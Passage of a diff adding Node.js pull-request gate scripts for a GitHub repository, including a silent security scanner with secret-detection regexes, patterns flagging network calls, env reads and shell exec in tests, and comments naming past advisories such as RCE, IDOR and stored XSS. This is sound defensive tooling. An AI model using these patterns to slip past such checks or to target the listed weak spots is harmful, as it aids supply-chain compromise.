const basePkg = JSON.parse(Buffer.from(baseRes.content, 'base64').toString());
const prPkg = JSON.parse(Buffer.from(prRes.content, 'base64').toString());
const baseDeps = new Set([
...Object.keys(basePkg.dependencies ?? {}),
...Object.keys(basePkg.devDependencies ?? {}),
...Object.keys(basePkg.peerDependencies ?? {}),
]);
for (const dep of [
...Object.keys(prPkg.dependencies ?? {}),
...Object.keys(prPkg.devDependencies ?? {}),
...Object.keys(prPkg.peerDependencies ?? {}),
]) {
if (!baseDeps.has(dep)) newPackages.add(dep);
}
} catch {
// File may not exist on base — skip
}
}
if (newPackages.size === 0) return { passed: true, informational: [] };
const pkgList = [...newPackages].map(p => `\`${p}\``).join(', ');
return {
passed: true,
informational: [
`📦 New dependencies added: ${pkgList}. Review may take longer and new dependencies ` +
`are less likely to be accepted — please check if existing deps cover this need.`,
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const { GH_TOKEN, GH_REPO, PR_NUMBER, PR_FILES, PR_BASE_REF } = process.env;
const files = JSON.parse(PR_FILES ?? '[]');
const result = await checkDependencies(files, GH_TOKEN, GH_REPO, PR_NUMBER, PR_BASE_REF);
console.log(JSON.stringify(result));
}
+123
View File
@@ -0,0 +1,123 @@
#!/usr/bin/env node
/**
* check-pr-linked-issue.mjs
* Checks that a PR body either links an existing issue/PR or inlines an
* issue-template-shaped description. Respects conventional commit prefixes —
* skips check for docs/chore/build/ci/style/test/revert prefixed PRs.
*
* Exports:
* checkLinkedIssue(prBody, prTitle) → { passed, failures }
* hasInlineIssueDescription(prBody) → boolean
*/
import { fileURLToPath } from 'node:url';
const ISSUE_PATTERNS = [
/(?:fixes|closes|resolves|refs)\s+#\d+/i,
/(?:^|[\s(])https:\/\/github\.com\/paperclipai\/paperclip\/issues\/\d+(?=$|[\s),:;!?]|[.](?![\w-]))/i,
/(?<!\w)#\d+/,
];
// Prefixes where neither a linked issue nor an inline description is required
const SKIP_ISSUE_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'test', 'revert'];
// Minimum number of template fields the PR body must match to count as an
// inline issue description.
const INLINE_DESCRIPTION_MIN_FIELDS = 3;
// Per-template field labels. Each field is an array of accepted variants; the
// field counts as "present" if any variant appears as a markdown heading
// (`## Label`) or as a bolded/plain label on its own line (`**Label**` /
// `Label:`). Matching is case-insensitive.
const TEMPLATE_FIELDS = {
bug: [
['What happened', 'What happened?'],
['Expected behavior', 'Expected behaviour'],
['Steps to reproduce', 'Reproduction steps', 'Repro steps'],
['Paperclip version', 'Paperclip version or commit', 'Version or commit', 'Version/commit'],
['Deployment mode'],
],
feature: [
['Problem or motivation', 'Problem', 'Motivation'],
['Proposed solution', 'Solution'],
['Alternatives considered', 'Alternatives'],
['Roadmap alignment', 'Roadmap'],
],
adapter: [
['Agent or provider', 'Agent', 'Provider', 'Adapter'],
["Why this adapter is useful", "Why it's useful", 'Why useful', 'Use case'],
['How the agent is invoked', 'How it is invoked', "How it's invoked", 'Invocation'],
],
};
function escapeRegExp(s) {
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
function countMatchedFields(body, fieldSet) {
let matched = 0;
for (const variants of fieldSet) {
const hasMatch = variants.some(label => {
const esc = escapeRegExp(label);
// Accept markdown headings or bolded/plain labels on their own line.
// Examples: "## What happened?", "**Expected behavior**", "Problem:".
const pattern = new RegExp(
`^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`,
'im'
);
return pattern.test(body);
});
if (hasMatch) matched += 1;
}
return matched;
}
export function hasInlineIssueDescription(body) {
if (!body || !body.trim()) return false;
for (const fieldSet of Object.values(TEMPLATE_FIELDS)) {
if (countMatchedFields(body, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) {
return true;
}
}
return false;
}
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
export function checkLinkedIssue(body, prTitle = '') {
const prefix = parsePrefix(prTitle);
if (prefix && SKIP_ISSUE_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
if (!body || !body.trim()) {
return { passed: false, failures: ['PR body is empty — please fill out the PR template'] };
}
const linked = ISSUE_PATTERNS.some(p => p.test(body));
const inlined = hasInlineIssueDescription(body);
const passed = linked || inlined;
return {
passed,
failures: passed ? [] : [
'No linked issue or inline issue description found — either tag an existing issue ' +
'with `Fixes #NNN` / `Closes #NNN` / `Refs #NNN`, or describe the underlying issue ' +
'inline in the PR body following one of our issue templates ' +
'(https://github.com/paperclipai/paperclip/tree/master/.github/ISSUE_TEMPLATE). ' +
'See CONTRIBUTING.md → "Link Issues or Describe Them In-PR".',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const title = process.env.PR_TITLE ?? '';
const result = checkLinkedIssue(body, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env node
/**
* check-pr-lockfile.mjs
* Checks that pnpm-lock.yaml was not manually edited.
* Export: checkLockfile(files, prAuthor, prBranch) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
export function checkLockfile(files, prAuthor, prBranch) {
const lockfileChanged = files.some(f => f.filename === 'pnpm-lock.yaml');
if (!lockfileChanged) return { passed: true, failures: [] };
const isRefreshBot =
prAuthor === 'github-actions[bot]' && prBranch === 'chore/refresh-lockfile';
return {
passed: isRefreshBot,
failures: isRefreshBot ? [] : [
'You have changes to `pnpm-lock.yaml` — `pr.yml` will hard-fail this PR with a confusing message about lockfile edits. ' +
'To fix: run `pnpm install` locally, exclude the lockfile from your commit, push again. ' +
'The lockfile is regenerated automatically by the refresh bot on a schedule.',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const files = JSON.parse(process.env.PR_FILES ?? '[]');
const result = checkLockfile(files, process.env.PR_AUTHOR ?? '', process.env.PR_BRANCH ?? '');
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+393
View File
@@ -0,0 +1,393 @@
#!/usr/bin/env node
/**
* check-pr-security.mjs
* Runs 6 security checks against a PR diff. Never posts public comments.
* Creates a draft security advisory in the repo if any check fires.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
* Exit: always 0 — security flags are silent, never block the PR visibly.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
// ── Pure check functions (exported for testing) ───────────────────────────────
const SECRET_PATTERNS = [
{ name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
{ name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
{ name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
{ name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
{ name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
];
export function scanSecrets(files) {
const flags = [];
for (const file of files) {
if (!file.patch) continue;
const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
for (const line of added) {
for (const { name, re } of SECRET_PATTERNS) {
if (re.test(line)) {
flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
}
}
}
}
return flags;
}
const CI_BUILD_SCRIPTS = [
'scripts/release.sh',
'scripts/check-docker-deps-stage.mjs',
'scripts/check-release-package-bootstrap.mjs',
'scripts/release-package-map.mjs',
'scripts/docker-onboard-smoke.sh',
];
export function scanCITampering(files) {
return files
.filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
.map(f => ({ check: 'ci-tampering', file: f.filename }));
}
export function scanBuildScripts(files) {
return files
.filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
.map(f => ({ check: 'build-script-change', file: f.filename }));
}
export function scanSupplyChain(files) {
const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
if (!lockfile?.patch) return [];
const added = new Set();
const removed = new Set();
for (const line of lockfile.patch.split('\n')) {
const entry = parseLockfilePackageDiffEntry(line);
if (!entry) continue;
if (entry.sign === '+') added.add(entry.packageName);
if (entry.sign === '-') removed.add(entry.packageName);
}
const netNew = [...added].filter(p => !removed.has(p));
return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
}
function parseLockfilePackageDiffEntry(line) {
const match = line.match(/^([+-])\s*(.+?)\s*$/);
if (!match) return null;
let [, sign, rawEntry] = match;
if (!rawEntry.endsWith(':')) return null;
rawEntry = rawEntry.slice(0, -1).trim();
if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
rawEntry = rawEntry.slice(1, -1);
}
rawEntry = rawEntry.replace(/\(.*$/, '').trim();
const versionSep = rawEntry.lastIndexOf('@');
if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
const packageName = rawEntry.slice(0, versionSep);
if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
return { sign, packageName };
}
const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
const SUSPICIOUS_PATTERNS = [
{ name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
{ name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
{ name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
{ name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
];
export function scanTestPatterns(files) {
const flags = [];
for (const file of files) {
if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
for (const { name, re } of SUSPICIOUS_PATTERNS) {
if (re.test(file.patch)) {
flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
}
}
}
return flags;
}
const SENSITIVE_PATHS = [
// Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
'packages/adapters/codex-local/',
// Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
'server/src/services/workspace-realization.ts',
'server/src/routes/execution-workspaces.ts',
'server/src/routes/workspace-command-authz.ts',
// Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
'server/src/routes/agents.ts',
// Advisory 4: Approval decision attribution spoofing via decidedByUserId
'server/src/routes/approvals.ts',
// Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
'ui/src/components/MarkdownBody.tsx',
// Advisory 7: Unauthenticated access to authenticated-mode endpoints
'server/src/routes/authz.ts',
// Advisory 8: Unauthenticated RCE via import authorization bypass
'server/src/routes/companies.ts',
// Advisory 9: Malicious skills able to exfiltrate / destroy user data
'server/src/routes/company-skills.ts',
// Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
'server/src/services/agent-instructions.ts',
];
export function scanSensitivePaths(files) {
return files
.filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
.map(f => ({
check: 'sensitive-path',
file: f.filename,
advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
}));
}
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const stale = [];
await Promise.all(SENSITIVE_PATHS.map(async (path) => {
try {
await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
} catch (err) {
// 404 means the file/directory no longer exists at this path
if (String(err.message).includes('404')) stale.push(path);
// Other errors (network, rate limit) — re-throw so we don't silently miss them
else throw err;
}
}));
return stale;
}
// ── Advisory creation ─────────────────────────────────────────────────────────
const SEVERITY_MAP = {
'supply-chain': 'critical',
'sensitive-path': 'critical',
'secret-scan': 'high',
'ci-tampering': 'high',
'suspicious-test': 'high',
'build-script-change': 'medium',
};
const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
function worstSeverity(flags) {
return flags.reduce((worst, f) => {
const s = SEVERITY_MAP[f.check] ?? 'medium';
return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
}, 'low');
}
export function buildAdvisoryPayload(prNumber, prTitle, flags) {
const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
return {
summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
description: [
`**PR:** #${prNumber} — ${prTitle}`,
`**Checks triggered:** ${checkNames}`,
'',
'**Details:**',
...flags.map(f => [
`- \`${f.check}\`: ${f.file ?? ''}`,
f.pattern ? ` (pattern: ${f.pattern})` : '',
f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
f.line ? `\n \`${f.line}\`` : '',
].join('')),
'',
'> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
].join('\n'),
severity: worstSeverity(flags),
vulnerabilities: [],
};
}
export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
if (existing) {
const advisoryId = existing.ghsa_id ?? existing.id;
if (!advisoryId) {
throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
}
// PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
// The field is only valid on POST when creating the draft; updates must omit it.
const { vulnerabilities, ...patchPayload } = payload;
return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(patchPayload),
});
}
return fetchImpl(`/repos/${repo}/security-advisories`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
});
}
// Cap pagination so a large backlog of unrelated draft advisories cannot stall
// the security gate (it runs inside a 5-minute workflow timeout).
const MAX_DRAFT_ADVISORY_PAGES = 20;
export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
const prMarker = `PR #${prNumber}`;
for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
const advisories = await fetchImpl(
`/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
token,
);
if (!Array.isArray(advisories) || advisories.length === 0) return null;
const existing = advisories.find(advisory =>
typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
);
if (existing) return existing;
if (advisories.length < 100) return null;
}
console.warn(
`[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
'treating as new advisory. A duplicate draft may be created.',
);
return null;
}
export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
await fetchImpl(`/repos/${repo}/check-runs`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(hasFlags ? {
name: 'security-review',
head_sha: headSha,
// `completed/neutral` instead of `in_progress` so the check doesn't put
// the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
// durable signal for maintainers; there is no completion path that
// could ever flip an `in_progress` check-run back to completed on the
// same head SHA, so it would hang forever.
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
} : {
name: 'security-review',
head_sha: headSha,
status: 'completed',
conclusion: 'success',
output: {
title: 'Security Review Passed',
summary: 'No security concerns detected.',
},
}),
});
}
// ── Main ──────────────────────────────────────────────────────────────────────
// Wall-clock budget for the whole script. The workflow job has a 5-minute
// timeout-minutes, and `continue-on-error: true` on a step does NOT override
// a job-level timeout — it only suppresses step failures. So if any API call
// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
// failing the `review` check. This watchdog enforces the script's documented
// "always exit 0" contract regardless of API behaviour.
export const SCRIPT_WATCHDOG_MS = 90_000;
export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
const timer = setTimeout(() => {
console.warn(
`[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
);
exit(0);
}, timeoutMs);
// Don't keep the event loop alive solely for the watchdog.
timer.unref?.();
return timer;
}
async function main() {
const watchdog = startScriptWatchdog();
const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
if (stalePaths.length > 0) {
console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
for (const p of stalePaths) console.error(` - ${p}`);
console.error('');
console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
process.exit(1);
}
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const allFlags = [
...scanSecrets(files),
...scanCITampering(files),
...scanBuildScripts(files),
...scanSupplyChain(files),
...scanTestPatterns(files),
...scanSensitivePaths(files),
];
if (allFlags.length > 0) {
console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
await Promise.all([
syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
]);
} else {
console.log('[security] all clear');
await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
}
// Always exit 0 — security flags are silent, never block the PR publicly
clearTimeout(watchdog);
process.exit(0);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+88
View File
@@ -0,0 +1,88 @@
#!/usr/bin/env node
/**
* check-pr-template.mjs
* Checks that a PR body contains all required sections from the PR template.
* Export: checkTemplate(prBody: string) → { passed: boolean, failures: string[] }
*/
import { fileURLToPath } from 'node:url';
const REQUIRED_SECTIONS = [
{ heading: '## Thinking Path', minSentences: 3 },
{ heading: '## What Changed', minSentences: 1 },
{ heading: '## Verification', minSentences: 1 },
{ heading: '## Risks', minSentences: 1 },
{ heading: '## Model Used', minSentences: 1 },
];
const MODEL_PLACEHOLDERS = [
'provider, model id',
'your model',
'<model>',
];
function extractSectionContent(body, heading) {
const idx = body.indexOf(heading);
if (idx === -1) return null;
const after = body.slice(idx + heading.length);
const nextHeading = after.search(/\n## /);
return (nextHeading === -1 ? after : after.slice(0, nextHeading)).trim();
}
function countSentences(text) {
// Split on terminal punctuation, bullet/quote line starts (`-`, `*`, `>`), or
// blank lines so non-prose Thinking Paths (bullet lists, blockquotes) are
// counted by item rather than as a single sentence.
return text.split(/[.!?]+\s+|\n\s*[-*>]+\s+|\n{2,}/).filter(s => s.trim().length > 5).length;
}
export function checkTemplate(body) {
const failures = [];
if (!body || !body.trim()) {
for (const { heading } of REQUIRED_SECTIONS) {
failures.push(`Missing section: **${heading}**`);
}
return { passed: false, failures };
}
for (const { heading, minSentences } of REQUIRED_SECTIONS) {
const content = extractSectionContent(body, heading);
if (content === null) {
failures.push(`Missing section: **${heading}**`);
continue;
}
if (!content || content === '_No response_' || /^<!--/.test(content)) {
failures.push(`Empty section: **${heading}**`);
continue;
}
if (heading === '## Thinking Path') {
const n = countSentences(content);
if (n < minSentences) {
failures.push(
`**Thinking Path** needs more detail (${n} sentence${n === 1 ? '' : 's'} — aim for 3+)`
);
}
}
if (heading === '## Model Used') {
const lower = content.toLowerCase();
if (MODEL_PLACEHOLDERS.some(p => lower.includes(p.toLowerCase()))) {
failures.push(
'**Model Used** contains placeholder text — please specify the actual model used (or "None — human-authored")'
);
}
}
}
return { passed: failures.length === 0, failures };
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const result = checkTemplate(body);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
@@ -0,0 +1,83 @@
#!/usr/bin/env node
/**
* check-pr-test-coverage.mjs
* Checks that a PR diff includes at least one test file. Respects conventional
* commit prefixes — skips check for docs/chore/build/ci/style/refactor PRs.
* Also detects mismatch: docs/chore PRs that contain real source code changes.
* Export: checkTestCoverage(files, prTitle) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
const TEST_PATTERNS = [
/\.test\.(ts|js|tsx|jsx|mjs|cjs)$/,
/\.spec\.(ts|js|tsx|jsx|mjs|cjs)$/,
/(?:^|\/)tests?\//,
/\/__tests__\//,
];
const SOURCE_CODE_PATTERN = /\.(ts|tsx|js|jsx|mjs|cjs)$/;
// Prefixes where test coverage is NOT required
const SKIP_TEST_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'refactor', 'revert'];
// Prefixes where source code changes are NOT expected (mismatch detection)
// Note: 'style' is excluded — formatting PRs legitimately touch source files
const NO_SOURCE_CODE_PREFIXES = ['docs', 'chore', 'build', 'ci'];
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
function isSourceFile(filename) {
if (!SOURCE_CODE_PATTERN.test(filename)) return false;
if (TEST_PATTERNS.some(p => p.test(filename))) return false;
return true;
}
export function checkTestCoverage(files, prTitle = '') {
const prefix = parsePrefix(prTitle);
// Mismatch detection: docs/chore/etc PR with real source code changes
if (prefix && NO_SOURCE_CODE_PREFIXES.includes(prefix)) {
const sourceChanges = files.filter(f => f.status !== 'removed' && isSourceFile(f.filename));
if (sourceChanges.length > 0) {
return {
passed: false,
failures: [
`PR is titled \`${prefix}:\` but includes source code changes ` +
`(${sourceChanges.slice(0, 3).map(f => f.filename).join(', ')}` +
`${sourceChanges.length > 3 ? ', ...' : ''}). ` +
`Please retitle as \`fix:\`, \`feat:\`, or \`refactor:\` so the right gates run, ` +
`or remove the source code changes if this is genuinely a \`${prefix}:\` PR.`,
],
};
}
}
// Skip test requirement for prefixes that don't change behavior
if (prefix && SKIP_TEST_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
const hasTests = files.some(
f => f.status !== 'removed' && TEST_PATTERNS.some(p => p.test(f.filename))
);
return {
passed: hasTests,
failures: hasTests ? [] : [
'No test files detected in this PR — please include a test that verifies the bug fix or new behavior. ' +
'If this PR genuinely doesn\'t need a test (e.g. a refactor), please retitle with `refactor:` prefix.',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const files = JSON.parse(process.env.PR_FILES ?? '[]');
const title = process.env.PR_TITLE ?? '';
const result = checkTestCoverage(files, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env node
/**
* fetch-pr-files.mjs
* Fetches the full changed-file list for a PR across GitHub pagination.
*/
export async function fetchAllPullRequestFiles(ghFetchFn, repo, prNumber, token) {
const files = [];
for (let page = 1; ; page += 1) {
const batch = await ghFetchFn(
`/repos/${repo}/pulls/${prNumber}/files?per_page=100&page=${page}`,
token
);
files.push(...batch);
if (batch.length < 100) {
return files;
}
}
}
+132
View File
@@ -0,0 +1,132 @@
#!/usr/bin/env node
/**
* get-bot-token.mjs
* Generates a short-lived GitHub installation token for the commitperclip app.
* Reads COMMITPERCLIP_KEY env var (PEM content of private key).
* Prints the token to stdout.
*
* Also exports: generateJWT(privateKey), ghFetch(path, token, options)
* These are used by all other gate scripts.
*/
import { createSign } from 'node:crypto';
import { fileURLToPath } from 'node:url';
const APP_ID = '3718661';
const OWNER_PATTERN = /^[a-zA-Z0-9_.-]+$/;
const REPO_PATTERN = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/;
export function generateJWT(privateKey) {
const now = Math.floor(Date.now() / 1000);
const payload = { iat: now - 10, exp: now + 60, iss: APP_ID };
const header = Buffer.from(JSON.stringify({ alg: 'RS256', typ: 'JWT' })).toString('base64url');
const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const data = `${header}.${body}`;
const sig = createSign('RSA-SHA256').update(data).sign(privateKey, 'base64url');
return `${data}.${sig}`;
}
// Per-call timeout so a single slow/hung GitHub endpoint cannot eat the entire
// workflow budget. Overridable via options.timeoutMs for callers that need
// different bounds.
export const GH_FETCH_DEFAULT_TIMEOUT_MS = 15_000;
export async function ghFetch(path, token, options = {}) {
const { timeoutMs = GH_FETCH_DEFAULT_TIMEOUT_MS, signal: externalSignal, ...fetchOptions } = options;
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(new Error(`ghFetch timeout after ${timeoutMs}ms: ${path}`)), timeoutMs);
const abortOnExternal = () => controller.abort(externalSignal?.reason);
if (externalSignal) {
if (externalSignal.aborted) abortOnExternal();
else externalSignal.addEventListener('abort', abortOnExternal, { once: true });
}
try {
const res = await fetch(`https://api.github.com${path}`, {
...fetchOptions,
signal: controller.signal,
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/vnd.github+json',
'X-GitHub-Api-Version': '2022-11-28',
...fetchOptions.headers,
},
});
const text = await res.text();
if (!res.ok) throw new Error(`GitHub API ${fetchOptions.method ?? 'GET'} ${path} → ${res.status}: ${text}`);
return JSON.parse(text);
} finally {
clearTimeout(timer);
if (externalSignal) externalSignal.removeEventListener('abort', abortOnExternal);
}
}
export async function resolveInstallationId(fetchInstallation, token, repo, owner) {
if (repo) {
if (!REPO_PATTERN.test(repo)) {
throw new Error('ERROR: GH_REPO/GITHUB_REPOSITORY must be in owner/repo format.');
}
const installation = await fetchInstallation(`/repos/${repo}/installation`, token);
return installation.id;
}
const installations = await fetchInstallation('/app/installations', token);
if (!installations.length) {
throw new Error(
'ERROR: No installations found for commitperclip. Install URL: https://github.com/apps/commitperclip/installations/new'
);
}
if (owner) {
if (!OWNER_PATTERN.test(owner)) {
throw new Error('ERROR: GITHUB_REPOSITORY_OWNER must be a valid GitHub owner name.');
}
const match = installations.find(
installation => installation.account?.login?.toLowerCase() === owner.toLowerCase()
);
if (match) {
return match.id;
}
}
if (installations.length === 1) {
return installations[0].id;
}
throw new Error(
'ERROR: Multiple commitperclip installations found. Set GH_REPO or GITHUB_REPOSITORY so the correct installation can be selected.'
);
}
async function main() {
const privateKey = process.env.COMMITPERCLIP_KEY;
if (!privateKey) {
console.error('ERROR: COMMITPERCLIP_KEY env var not set.');
console.error('Add to ~/.bash_profile: export COMMITPERCLIP_KEY="$(cat ~/.config/commitperclip/private-key.pem)"');
process.exit(1);
}
const jwt = generateJWT(privateKey);
const repo = process.env.GH_REPO ?? process.env.GITHUB_REPOSITORY;
const owner = process.env.GITHUB_REPOSITORY_OWNER ?? repo?.split('/')[0];
const installationId = await resolveInstallationId(ghFetch, jwt, repo, owner);
const { token } = await ghFetch(
`/app/installations/${installationId}/access_tokens`,
jwt,
{ method: 'POST', headers: { 'Content-Type': 'application/json' } }
);
if (!token) {
console.error('ERROR: Failed to get installation token from GitHub API.');
process.exit(1);
}
process.stdout.write(token);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+148
View File
@@ -0,0 +1,148 @@
#!/usr/bin/env node
/**
* run-quality-gates.mjs
* Orchestrates all quality gates. Fetches PR data once, runs all gates,
* posts or updates a single consolidated comment via commitperclip.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR, PR_BRANCH
* Exit: 0 if all quality gates pass, 1 if any fail.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { checkTemplate } from './check-pr-template.mjs';
import { checkLinkedIssue } from './check-pr-linked-issue.mjs';
import { checkDedupSearch } from './check-pr-dedup-search.mjs';
import { checkTestCoverage } from './check-pr-test-coverage.mjs';
import { checkLockfile } from './check-pr-lockfile.mjs';
import { checkDependencies } from './check-pr-dependencies.mjs';
const COMMENT_SIGNATURE = '— commitperclip';
function buildComment(author, failures, informational) {
if (failures.length === 0 && informational.length === 0) {
return `✅ All checks passing — ready for Greptile review and maintainer approval.\n\n${COMMENT_SIGNATURE}`;
}
const lines = [
`Hey @${author}! Before this PR can be reviewed, a few things need attention:\n`,
];
if (failures.length > 0) {
lines.push('**Missing or incomplete:**');
for (const f of failures) lines.push(`- [ ] ${f}`);
}
if (informational.length > 0) {
if (failures.length > 0) lines.push('');
lines.push('**Informational:**');
for (const i of informational) lines.push(`- ${i}`);
}
lines.push(
'\nOnce updated, push a new commit and these checks will re-run automatically.\n',
COMMENT_SIGNATURE
);
return lines.join('\n');
}
